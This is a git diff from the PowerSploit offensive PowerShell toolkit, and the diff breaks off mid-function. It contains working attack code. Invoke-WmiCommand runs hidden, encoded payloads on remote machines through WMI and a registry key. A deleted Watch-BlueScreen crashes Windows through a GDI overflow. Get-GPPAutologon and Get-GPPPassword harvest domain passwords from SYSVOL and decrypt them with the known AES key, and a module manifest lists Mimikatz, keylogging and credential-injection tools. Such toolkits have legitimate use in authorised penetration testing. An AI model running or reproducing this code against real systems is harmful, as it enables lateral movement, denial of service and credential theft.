+.OUTPUTS + +System.Management.Automation.PSObject + +Outputs a custom object consisting of the target computer name and +the output of the command executed. + +.NOTES + +In order to receive the output from your payload, it must return +actual objects. For example, Write-Host doesn't return objects +rather, it writes directly to the console. If you're using +Write-Host in your scripts though, you probably don't deserve to get +the output of your payload back. :P +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')] + [CmdletBinding()] + Param ( + [Parameter( Mandatory = $True )] + [ScriptBlock] + $Payload, + + [String] + [ValidateSet( 'HKEY_LOCAL_MACHINE', + 'HKEY_CURRENT_USER', + 'HKEY_CLASSES_ROOT', + 'HKEY_USERS', + 'HKEY_CURRENT_CONFIG' )] + $RegistryHive = 'HKEY_CURRENT_USER', + + [String] + [ValidateNotNullOrEmpty()] + $RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG', + + [String] + [ValidateNotNullOrEmpty()] + $RegistryPayloadValueName = 'Seed', + + [String] + [ValidateNotNullOrEmpty()] + $RegistryResultValueName = 'Value', + + [Parameter( ValueFromPipeline = $True )] + [Alias('Cn')] + [String[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Management.ImpersonationLevel] + $Impersonation, + + [System.Management.AuthenticationLevel] + $Authentication, + + [Switch] + $EnableAllPrivileges, + + [String] + $Authority + ) + + BEGIN { + switch ($RegistryHive) { + 'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 } + 'HKEY_CURRENT_USER' { $Hive = 2147483649 } + 'HKEY_CLASSES_ROOT' { $Hive = 2147483648 } + 'HKEY_USERS' { $Hive = 2147483651 } + 'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 } + } + + $HKEY_LOCAL_MACHINE = 2147483650 + + $WmiMethodArgs = @{} + + # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod + if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential } + if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation } + if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication } + if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges } + if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority } + + $AccessPermissions = @{ + KEY_QUERY_VALUE = 1 + KEY_SET_VALUE = 2 + KEY_CREATE_SUB_KEY = 4 + KEY_CREATE = 32 + DELETE = 65536 + } + + # These are all of the registry permissions we'll require + $RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor + $AccessPermissions['KEY_SET_VALUE'] -bor + $AccessPermissions['KEY_CREATE_SUB_KEY'] -bor + $AccessPermissions['KEY_CREATE'] -bor + $AccessPermissions['DELETE'] + } + + PROCESS { + foreach ($Computer in $ComputerName) { + # Pass the individual computer name to Invoke-WmiMethod + $WmiMethodArgs['ComputerName'] = $Computer + + Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath" + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath" + } + + Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath" + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions + + if (-not $Result.bGranted) { + throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand." + } + + $PSSettingsPath = 'SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' + $PSPathValueName = 'Path' + + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKEY_LOCAL_MACHINE, $PSSettingsPath, $PSPathValueName + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable to obtain powershell.exe path from the following registry value: HKEY_LOCAL_MACHINE\$PSSettingsPath\$PSPathValueName" + } + + $PowerShellPath = $Result.sValue + Write-Verbose "[$Computer] Full PowerShell path: $PowerShellPath" + + $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload)) + + Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + } + + # Prep the script runner payload from the remote system + $PayloadRunnerArgs = @" + `$Hive = '$Hive' + `$RegistryKeyPath = '$RegistryKeyPath' + `$RegistryPayloadValueName = '$RegistryPayloadValueName' + `$RegistryResultValueName = '$RegistryResultValueName' + `n +"@ + + $RemotePayloadRunner = $PayloadRunnerArgs + { + $WmiMethodArgs = @{ + Namespace = 'Root\default' + Class = 'StdRegProv' + } + + $Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName + + if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) { + $Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue)) + + $TempSerializedResultPath = [IO.Path]::GetTempFileName() + + $PayloadResult = Invoke-Expression ($Payload) + + Export-Clixml -InputObject $PayloadResult -Path $TempSerializedResultPath + + $SerilizedPayloadText = [IO.File]::ReadAllText($TempSerializedResultPath) + + $null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadText, $RegistryResultValueName + + Remove-Item -Path $SerilizedPayloadResult -Force + + $null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName + } + } + + $Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner)) + + $Cmdline = "$PowerShellPath -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload" + + # Execute the payload runner on the remote system + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline + + Start-Sleep -Seconds 5 + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable to execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + } + + Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" + } + + Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" + + $SerilizedPayloadResult = $Result.sValue + + $TempSerializedResultPath = [IO.Path]::GetTempFileName() + + Out-File -InputObject $SerilizedPayloadResult -FilePath $TempSerializedResultPath + $PayloadResult = Import-Clixml -Path $TempSerializedResultPath + + Remove-Item -Path $TempSerializedResultPath + + $FinalResult = New-Object PSObject -Property @{ + PSComputerName = $Computer + PayloadOutput = $PayloadResult + } + + Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" + $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName + + Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath" + $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath + + return $FinalResult + } + } +} diff --git a/CodeExecution/Watch-BlueScreen.ps1 b/CodeExecution/Watch-BlueScreen.ps1 deleted file mode 100644 index 2fa317ed..00000000 --- a/CodeExecution/Watch-BlueScreen.ps1 +++ /dev/null @@ -1,78 +0,0 @@ -function Watch-BlueScreen -{ -<# -.SYNOPSIS - - Cause a blue screen to occur (Windows 7 and below). - - PowerSploit Function: Watch-BlueScreen - Author: Matthew Graeber (@mattifestation) - Original Research: Tavis Ormandy and Nikita Tarakanov - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.NOTES - - Tavis Ormandy documented this technique on 2/3/2013 and Nikita Tarakanov - ‏tweeted this technique on 5/13/2013. - -.LINK - - https://gist.github.com/taviso/4658638 - http://blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html - https://twitter.com/NTarakanov/status/334031968465453057 -#> - [CmdletBinding( ConfirmImpact = 'High')] Param () - - try { $Gdi32 = [Gdi32] } catch [Management.Automation.RuntimeException] - { - $DynAssembly = New-Object System.Reflection.AssemblyName('BSOD') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, 'Run') - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BSOD', $False) - $TypeBuilder = $ModuleBuilder.DefineType('Gdi32', 'Public, Class') - - $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) - $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') - $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder( $DllImportConstructor, @('ntdll.dll'), - [Reflection.FieldInfo[]]@($SetLastError), @($true)) - - $TypeBuilder.DefinePInvokeMethod( 'CreateCompatibleDC', - 'Gdi32.dll', - 'Public, Static', - 'Standard', - [IntPtr], - @([IntPtr]), - 'Winapi', - 'Auto' ).SetCustomAttribute($SetLastErrorCustomAttribute) - - $TypeBuilder.DefinePInvokeMethod( 'SetLayout', - 'Gdi32.dll', - 'Public, Static', - 'Standard', - [UInt32], - @([IntPtr], [UInt32]), - 'Winapi', - 'Auto' ) | Out-Null - - $TypeBuilder.DefinePInvokeMethod( 'ScaleWindowExtEx', - 'Gdi32.dll', - 'Public, Static', - 'Standard', - [Bool], - @([IntPtr], [Int32], [Int32], [Int32], [Int32], [IntPtr]), - 'Winapi', - 'Auto' ) | Out-Null - - $Gdi32 = $TypeBuilder.CreateType() - } - - $LAYOUT_RTL = 1 - - if ($psCmdlet.ShouldContinue( 'Do you want to continue?', 'You may want to save your work before continuing.' )) - { - $DC = $Gdi32::CreateCompatibleDC([IntPtr]::Zero) - $Gdi32::SetLayout($DC, $LAYOUT_RTL) | Out-Null - $Gdi32::ScaleWindowExtEx($DC, [Int32]::MinValue, -1, 1, 1, [IntPtr]::Zero) | Out-Null - } -} \ No newline at end of file diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 382b2e39..a8cc1131 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -1,10 +1,10 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Exfiltration.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a' @@ -12,9 +12,6 @@ GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a' # Author of this module Author = 'Matthew Graeber' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -24,66 +21,17 @@ Description = 'PowerSploit Exfiltration Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - # Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() +FormatsToProcess = 'Get-VaultCredential.ps1xml' # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'}) - # List of all files packaged with this module FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1', - 'Invoke-NinjaCopy.ps1' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' + 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1', + 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml', + 'Get-MicrophoneAudio.ps1', 'Get-GPPAutologon.ps1' -} \ No newline at end of file +} diff --git a/Exfiltration/Exfiltration.psm1 b/Exfiltration/Exfiltration.psm1 index e5234fbe..81d38186 100644 --- a/Exfiltration/Exfiltration.psm1 +++ b/Exfiltration/Exfiltration.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/Exfiltration/Get-GPPAutologon.ps1 b/Exfiltration/Get-GPPAutologon.ps1 new file mode 100644 index 00000000..6a6f55b4 --- /dev/null +++ b/Exfiltration/Get-GPPAutologon.ps1 @@ -0,0 +1,139 @@ +function Get-GPPAutologon +{ +<# +.SYNOPSIS + + Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences. + + PowerSploit Function: Get-GPPAutologon + Author: Oddvar Moe (@oddvarmoe) + Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work! + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password. + +.EXAMPLE + + PS C:\> Get-GPPAutolgon + + UserNames File Passwords + --------- ---- --------- + {administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3} + {NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword} + + +.EXAMPLE + + PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq + + password + password12 + password123 + password1234 + password1234$ + read123 + Recycling*3ftw! + +.LINK + + https://support.microsoft.com/nb-no/kb/324737 +#> + + [CmdletBinding()] + Param () + + #Some XML issues between versions + Set-StrictMode -Version 2 + + #define helper function to parse fields from xml files + function Get-GPPInnerFields + { + [CmdletBinding()] + Param ( + $File + ) + + try + { + $Filename = Split-Path $File -Leaf + [xml] $Xml = Get-Content ($File) + + #declare empty arrays + $Password = @() + $UserName = @() + + #check for password and username field + if (($Xml.innerxml -like "*DefaultPassword*") -and ($Xml.innerxml -like "*DefaultUserName*")) + { + $props = $xml.GetElementsByTagName("Properties") + foreach($prop in $props) + { + switch ($prop.name) + { + 'DefaultPassword' + { + $Password += , $prop | Select-Object -ExpandProperty Value + } + + 'DefaultUsername' + { + $Username += , $prop | Select-Object -ExpandProperty Value + } + } + + Write-Verbose "Potential password in $File" + } + + #put [BLANK] in variables + if (!($Password)) + { + $Password = '[BLANK]' + } + + if (!($UserName)) + { + $UserName = '[BLANK]' + } + + #Create custom object to output results + $ObjectProperties = @{'Passwords' = $Password; + 'UserNames' = $UserName; + 'File' = $File} + + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + Write-Verbose "The password is between {} and may be more than one value." + if ($ResultsObject) + { + Return $ResultsObject + } + } + } + catch {Write-Error $Error[0]} + } + + try { + #ensure that machine is domain joined and script is running as a domain account + if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { + throw 'Machine is not a domain member or User is not a member of the domain.' + } + + #discover potential registry.xml containing autologon passwords + Write-Verbose 'Searching the DC. This could take a while.' + $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml' + + if ( -not $XMlFiles ) {throw 'No preference files found.'} + + Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." + + foreach ($File in $XMLFiles) { + $Result = (Get-GppInnerFields $File.Fullname) + Write-Output $Result + } + } + + catch {Write-Error $Error[0]} +} \ No newline at end of file diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 7dbd23d8..7703508e 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -1,137 +1,351 @@ -function Get-GPPPassword { +function Get-GPPPassword { <# .SYNOPSIS - Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. +Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + +PowerSploit Function: Get-GPPPassword +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None - PowerSploit Function: Get-GPPPassword - Author: Chris Campbell (@obscuresec) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - .DESCRIPTION - Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. +Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. + +.PARAMETER Server + +Specify the domain controller to search for. +Default's to the users current domain + +.PARAMETER SearchForest + +Map all reaschable trusts and search all reachable SYSVOLs. + +.EXAMPLE + +Get-GPPPassword + +NewName : [BLANK] +Changed : {2014-02-21 05:28:53} +Passwords : {password12} +UserNames : {test1} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml + +NewName : {mspresenters} +Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} +Passwords : {Recycling*3ftw!, password123, password1234} +UserNames : {Administrator (built-in), DummyAccount, dummy2} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml + +NewName : [BLANK] +Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} +Passwords : {password, password1234$} +UserNames : {administrator, admin} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml + +NewName : [BLANK] +Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} +Passwords : {password, read123} +UserNames : {DEMO\Administrator, admin} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml .EXAMPLE - Get-GPPPassword +Get-GPPPassword -Server EXAMPLE.COM + +NewName : [BLANK] +Changed : {2014-02-21 05:28:53} +Passwords : {password12} +UserNames : {test1} +File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml + +NewName : {mspresenters} +Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} +Passwords : {Recycling*3ftw!, password123, password1234} +UserNames : {Administrator (built-in), DummyAccount, dummy2} +File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml + +.EXAMPLE + +Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq + +password +password12 +password123 +password1234 +password1234$ +read123 +Recycling*3ftw! .LINK - - http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html - https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 - http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences - http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html + +http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html #> - + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [CmdletBinding()] - Param () - - #define helper function that decodes and decrypts password + Param ( + [ValidateNotNullOrEmpty()] + [String] + $Server = $Env:USERDNSDOMAIN, + + [Switch] + $SearchForest + ) + + # define helper function that decodes and decrypts password function Get-DecryptedCpassword { + [CmdletBinding()] Param ( - [string] $Cpassword + [string] $Cpassword ) try { - #Append appropriate padding based on string length + #Append appropriate padding based on string length $Mod = ($Cpassword.length % 4) - if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))} + + switch ($Mod) { + '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} + '2' {$Cpassword += ('=' * (4 - $Mod))} + '3' {$Cpassword += ('=' * (4 - $Mod))} + } $Base64Decoded = [Convert]::FromBase64String($Cpassword) + # Make sure System.Core is loaded + [System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null + #Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) - + #Set IV to all nulls to prevent dynamic generation of IV value - $AesIV = New-Object Byte[]($AesObject.IV.Length) + $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey - $DecryptorObject = $AesObject.CreateDecryptor() + $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) - + return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) - } - - catch {Write-Error $Error[0]} - } - - #ensure that machine is domain joined and script is running as a domain account - if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) - { - throw 'Machine is not joined to a domain.' - } - - #discover potential files containing passwords ; not complaining in case of denied access to a directory - $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml' - - if ( -not $XMlFiles ) - { - throw 'No files containing encrypted passwords found.' + } + + catch { Write-Error $Error[0] } } - foreach ($File in $XMLFiles) { - - try { - $Filename = $File.Name - $Filepath = $File.VersionInfo.FileName + # helper function to parse fields from xml files + function Get-GPPInnerField { + [CmdletBinding()] + Param ( + $File + ) - #put filename in $XmlFile + try { + $Filename = Split-Path $File -Leaf [xml] $Xml = Get-Content ($File) - #declare blank variables - $Cpassword = '' - $UserName = '' - $NewName = '' - $Changed = '' - - switch ($Filename) { - - 'Groups.xml' { - $Cpassword = $Xml.Groups.User.Properties.cpassword - $UserName = $Xml.Groups.User.Properties.userName - $NewName = $Xml.Groups.User.Properties.newName - $Changed = $Xml.Groups.User.changed + # check for the cpassword field + if ($Xml.innerxml -match 'cpassword') { + + $Xml.GetElementsByTagName('Properties') | ForEach-Object { + if ($_.cpassword) { + $Cpassword = $_.cpassword + if ($Cpassword -and ($Cpassword -ne '')) { + $DecryptedPassword = Get-DecryptedCpassword $Cpassword + $Password = $DecryptedPassword + Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'" + } + + if ($_.newName) { + $NewName = $_.newName + } + + if ($_.userName) { + $UserName = $_.userName + } + elseif ($_.accountName) { + $UserName = $_.accountName + } + elseif ($_.runAs) { + $UserName = $_.runAs + } + + try { + $Changed = $_.ParentNode.changed + } + catch { + Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'" + } + + try { + $NodeName = $_.ParentNode.ParentNode.LocalName + } + catch { + Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'" + } + + if (!($Password)) {$Password = '[BLANK]'} + if (!($UserName)) {$UserName = '[BLANK]'} + if (!($Changed)) {$Changed = '[BLANK]'} + if (!($NewName)) {$NewName = '[BLANK]'} + + $GPPPassword = New-Object PSObject + $GPPPassword | Add-Member Noteproperty 'UserName' $UserName + $GPPPassword | Add-Member Noteproperty 'NewName' $NewName + $GPPPassword | Add-Member Noteproperty 'Password' $Password + $GPPPassword | Add-Member Noteproperty 'Changed' $Changed + $GPPPassword | Add-Member Noteproperty 'File' $File + $GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName + $GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword + $GPPPassword + } } - - 'Services.xml' { - $Cpassword = $Xml.NTServices.NTService.Properties.cpassword - $UserName = $Xml.NTServices.NTService.Properties.accountName - $Changed = $Xml.NTServices.NTService.changed + } + } + catch { + Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_" + } + } + + # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain + function Get-DomainTrust { + [CmdletBinding()] + Param ( + $Domain + ) + + if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) { + try { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + if ($DomainObject) { + $DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName } - - 'Scheduledtasks.xml' { - $Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword - $UserName = $Xml.ScheduledTasks.Task.Properties.runAs - $Changed = $Xml.ScheduledTasks.Task.changed + } + catch { + Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_" + } + + try { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain) + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + if ($ForestObject) { + $ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName } - - 'DataSources.xml' { - $Cpassword = $Xml.DataSources.DataSource.Properties.cpassword - $UserName = $Xml.DataSources.DataSource.Properties.username - $Changed = $Xml.DataSources.DataSource.changed + } + catch { + Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_" + } + } + } + + # helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain + function Get-DomainTrustMapping { + [CmdletBinding()] + Param () + + # keep track of domains seen so we don't hit infinite recursion + $SeenDomains = @{} + + # our domain stack tracker + $Domains = New-Object System.Collections.Stack + + try { + $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name + $CurrentDomain + } + catch { + Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_" + } + + if ($CurrentDomain -and $CurrentDomain -ne '') { + $Domains.Push($CurrentDomain) + + while($Domains.Count -ne 0) { + + $Domain = $Domains.Pop() + + # if we haven't seen this domain before + if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { + + Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" + + # mark it as seen in our list + $Null = $SeenDomains.Add($Domain, '') + + try { + # get all the domain/forest trusts for this domain + Get-DomainTrust -Domain $Domain | 